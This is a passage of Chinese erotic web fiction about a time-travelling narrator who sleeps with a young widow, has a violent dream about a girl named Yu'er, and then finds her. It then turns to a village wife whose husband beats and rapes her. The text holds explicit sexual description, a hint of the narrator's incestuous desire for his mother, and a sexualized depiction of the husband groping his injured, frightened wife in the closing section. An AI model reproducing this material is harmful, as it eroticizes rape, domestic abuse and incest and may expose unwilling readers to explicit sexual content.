刚要从床头拉被子,发现这里的被子却是和悬崖上面的世界一摸一样的。是一块锦丝花被。

我心生纳闷,这里的人难道是上面的来的?下面这种条件无论如何不会有这种东西啊,如果是上面来的话,那岂不是有路可以回去了么?

这里的主人到底是谁呢?迷迷糊糊的想着,看看小寡妇,已经面带红晕睡在我怀里,就像个妻子一样,睡在丈夫怀里,呼吸匀匀,面带幸福的笑。

看得我一阵子感动,这样的女人,不娶来当老婆,可惜了,我就奇怪,我穿越过去是百战不殆,那个所谓的骚娘被我折磨的死去活来的,可到了这边,我一炮就把自己弄得精疲力竭的,看来和这个小寡妇对我的情义有莫大关联,其实,她这样贤淑温顺,我都受感染,好像也有点爱上了她。

人家说感情是最伤人的东西,悲观的情绪能让人自杀,快乐过度了,也能死人。

带上感情和女人交合,比那种机械式的运动,发泄兽欲强多了,但是很费精力啊。

想着我感激地捏了捏小寡妇的屁股,小寡妇娇吟一声,扭动一下水蛇般的腰,把脸更加深的埋在我怀里。

天哪!我好像有了妻子一样了,我一直迷恋的是妈妈啊。怎么才能回去呢?

***********************************「哥哥,哥哥,救我……」

迷糊里看见雨儿浑身是血,伸出小手哀怜地看着我。

「雨儿,你怎么在这里呢?」

「哥哥,我想你,快救我啊。」

雨儿泪流满面,突然背后出现一个黑影,奸笑着,好像我在哪里听过一样,黑乎乎的,从雨儿的背后露出头来。

「爸爸!」

我惊呼出了他的名字,是我那个所谓的爸爸,黑乎乎的脸,奸笑着抓住雨儿的手说道:「小妮子,你敢违背魔界盟约,我们帮了你,你就这么回报我们么?」

不是我爸爸,魔界盟约?他到底是谁?我惊奇地睁大眼睛。

突然那个所谓的爸爸奸笑着一把把雨儿揽进怀里,呲开黄牙,舌头在雨儿雪白的脖子上舔吻着,雨儿颤抖着伸出手来说道:「哥哥,救我,我是雨儿啊。」

可是我一动动不了,我的所谓的爸爸却是冷冷地看着我,从身后亮出一把长剑来,冒着红色和黑色的煞气,一剑刺入雨儿的胸口。

雨儿口喷鲜血,睁大眼睛看着我,哀怨地说道:「你为什么不救我?哥哥。」

我真的动不了,我所谓的爸爸,举剑指着我说道:「小子,一切的一切都是你造成的,你要补偿,你要补偿,魔由心生,我们就是你创造的魔,那边是,这边也是,你的死,能让我们重获自由,你悖乱人伦的灵魂将是我们魔界永恒的国度。为了永恒的国度,你受死吧!」

长剑刺来,「噗嗤」一声没入胸口……

「啊……不要。」

我从床上弹起来,气喘如牛,冷汗淋漓,是梦,这个梦太可怕了,我的爸爸怎么回事魔界的人,雨儿怎么会被爸爸抓走呢?

我擦擦冷汗,看看被窝里的俏寡妇,睡得真香,我这样大的动静都没惊醒她,可见女人破瓜以后多受伤,真是辛苦这个美人了,昨晚那场疯狂的交合是我不论是穿越过去还是以前,可能是最爽的。

我把手伸进被窝,抚摸着小寡妇的翘屁股,吻吻她的香唇,坏坏地摸到她还红肿的白虎小穴,小寡妇估计还疼呢,扭了一下身子,睁开眼,白我一眼说道:「大清早就使坏。」

我爱怜地看着她说道:「昨晚真是辛苦你了,你好好休息吧,破瓜以后估计路都不会走了,我出去看看,找点吃的,昨晚把人家的东西吃光了,人家回来还不知道怎么怪我们呢?」

俏寡妇捶我一下,娇羞地说道:「还不是怪你,你小心点,早点回来。」

我吻了吻她的唇,起身穿上衣服,出了门口,一派清新自然之象,鸟语花香的。

这家的主人这么久还不回来,上哪儿去了?也不知道是什么人,是个女人可以确定。

我百无聊赖地走了一程,路上除了青草,两边就是悬崖峭壁,看着挺瘆人的。

自己也没工具,看见几只兔子,追了半天,兔子比人快,我追不上,有一次差点追上了,兔子和我都跑蒙了,人和兔子一头撞在一棵树上,兔子撞晕了,我撞得眼冒金星,头都撞破了,捂着头,踢了一脚还在颤抖的兔子骂一句:「你娘的,你跑什么?害的老子也跟你撞树。」

兔子被我踢中了肚子,动弹几下就死过去了。

我头上的血流下来,滴在地上,疼得我捂住脑袋,扶住了树,血滴在地上,却是消失不见了,地好像在缓缓蠕动,我是不是出现幻象了,摇摇头再看的时候,蠕动的地面突然竖起来了,挡在我面前,吓得我顿时退了几步,突然那竖起来的地面转了180 度停下来,又蠕动着铺在地上。

我摇摇头,这可真是奇怪了,地怎么会翻转过来呢?

我擦了擦血,看见翻转过来的地面是一片焦黄,就好像旋转的镜子一样,把背面给我调过来了,就是那竖起来的一片地是焦黄的,其他地方都草清碧绿的,在焦黄的地面上爬着一个穿着白衣服的女孩,会不会是地狱过来的女鬼啊?

饶是我穿越一回见过了奇事,也被这奇妙的景象整呆了。

我犹豫了一阵子,但是看这女孩半露的带血脸蛋有些熟悉,想起了梦中的情景,慢慢走过去,蹲下身子,扳过女孩一看。

我心头一热。

「雨儿……」

「凤凰山哟,鲜红的凤头菜哟,美滋滋的心哟,给心上人做哟……」

白虎村,村东头一间漂亮的二层平房,院落清雅干净,房子瓷砖雪白,墙头上挂着雪兰花,开得娇艳欲滴,清晨里,却是花蕊挂着露珠,共鸣着在厨房里传来的一阵阵的凄伤歌声,歌声婉转动听,忧伤而绝望,房里的歌声停下来,伴随着那漫不经心「当当当」的切菜声停下来,变成了伤心的抽泣声。

花蕊上的露珠随之滑落下来,滴在地上……

一个绝艳少妇衣衫褴褛,形销骨立,上身那件粉色花边衬衫,包裹着此时已经显得稍微清瘦的娇躯,那对鼓胀的双峰,撑起了胸前的衬衫,成了那个少妇成熟美丽的明显代表之一,随着抽泣,微微的随主人耸动着,雪白的休闲长裤包裹着一双结实浑圆的美腿,不是很修长,但是配上那挺翘丰圆,结实饱满的美臀,更使少妇徒增性感和一股少妇成熟的韵味,哀泣着,雪白的脖颈上已经有了泪痕。

耸动着削肩玉臂,那丝毫没有下垂的美臀上隐约从雪白的长裤里看见血痕,她身心受了重大创伤,悲从心来。

那双水汪汪的大眼睛,泪水泉涌,啪嗒啪嗒滴在了还没有切完的一半凤头菜上,鲜红的凤头菜更加鲜艳起来,在少妇漫不经心的「当当当」切菜声音里,在案台上寂寞地震动着。

少妇咬住红唇,噘着颤抖的樱桃小嘴,想哭又不敢大哭,忍不住心底涌上来的悲痛,终于「呜……」

的一声哭出来,却是马上用玉手捂住小嘴,转头看看卧室里,传来一个男人粗犷的打鼾声,好像唯恐把睡觉的男人吵醒来。

少妇手中的菜刀无力地掉在桌案上,炭火正旺,「噼里啪啦」的更是好像听到了思念之人清凉高亢的嗓音,少妇捂住嘴,尽量使自己不哭出来,但是还是止不住,哭声从修长的指缝里跑出来,少妇蜷缩在灶台角落里,任泪水打湿绝艳俏媚的脸庞。

「嗯……」

一声男人闷哼的声音,他醒了,少妇惊慌失措地站起来,赶紧拿起了菜刀,象征性地切菜,擦擦泪水,心惊肉跳的,又是一天啊,不知道男人会怎么折磨她呢,斜着美目看男人是不是进来了,咽了一口津液,咬住红唇,听见男人悉悉索索的穿衣服声音。

「饭还没做好啊?」

男人没好气地穿好鞋好像从这边走过来了。

少妇一惊,没在意,娇呼一声,菜刀切在了手上,青葱玉指上马上渗出了鲜血,红艳艳的,少妇怯怯回一声:「啊,就好了。」

自己把玉指含在嘴里嘬了嘬鲜血,顿时泪水又下来,这样的日子什么时候是个头啊。

男人懒散地揉揉眼睛,走进了厨房,刚要说话,清晨的女人别有一番滋味,新鲜而妩媚,少妇背着他站在案台上,漫不经心地切着凤头菜,全身散发着一种成熟美丽而不可言喻的女人味道,尤其是微微前倾的上身,把少妇那浑圆饱满的美臀凸显出来,两瓣屁股蛋翘翘的,圆圆的,中间隐约的一条深不见底的缝隙,那轮廓,配上少妇整个优雅的气质,隐约看见少妇薄薄的雪白长裤包裹着美臀,看见了血痕,男人刚起来,生理上经过一夜的休整,这时候荷尔蒙激增,咽了一口唾沫,盯着少妇美臀的轮廓,自己不争气的胯下之物,这时候缓缓勃起来了。

男人缓缓地走进了少妇,他从来感觉少妇有这么美丽的气质,自己心中淫欲又起,走在少妇背后,少妇那股诱人的熟妇香味让他不能自拔起来,粗黑的大手按在少妇的圆翘美臀上,揉捏了几下。

「啊!」

少妇慌忙扭动了一下美臀,躲开了男人的猥亵,惊慌地对上一个黑乎乎的男人的脸,那张脸,让她害怕,「你……」

男人突然变得有些懊悔了,看着少妇,抱住少妇的娇躯,大手按在少妇胸前挺翘饱满的双峰上,胯下的肉棒一下子顶在了少妇美臀上,舔吻着少妇的雪白的脖颈。

少妇不情愿地扭动着,自己还要受这男人多少侮辱啊,虽然是她的丈夫,但是这个男人已经丧心病狂了,好像变了一个人,就在一年前开始,这个男人不再当她是妻子,就算是以前,他对她虽然不满就又打又骂的,但是在农村,打老婆是常见的事情,但是最起码,在她眼里,这个男人算是她的丈夫,他和村里其他男人一样负责,抚养他们的儿子长大,如果没有他,仅靠她一个女人家,怎么养得了这个家呢?

而且,他人虽然脾气暴躁,但是内心还是有一个作为正常男人的理性,把这个家布置得妥妥帖帖的,算不上小康生活,也能过得去,而且他也有一定头脑,不喜欢种地,养了几头奶牛,卖牛奶为生,一年下来除了家里补贴用的,偶尔从城里回来还会给她买几件称心的漂亮衣服,如今身上这件粉色衬衫,和雪白休闲长裤就是他买的。

她觉得就这样吧,儿子虽然对她很依恋,作为一个传统女人,她还是要和这个长相丑陋,但是心底不算很坏的男人过一辈子,农村不都这样么?

但是她错了,一年前,就是儿子死了的那年,这个男人变得异常暴躁,不单单就是对她又大又骂了,每天让她脱光了衣服,拿着黑色藤条抽打她,奸淫她,侮辱她。导致她身心受伤害,怀疑眼前这个男人到底是不是以前的那个丈夫。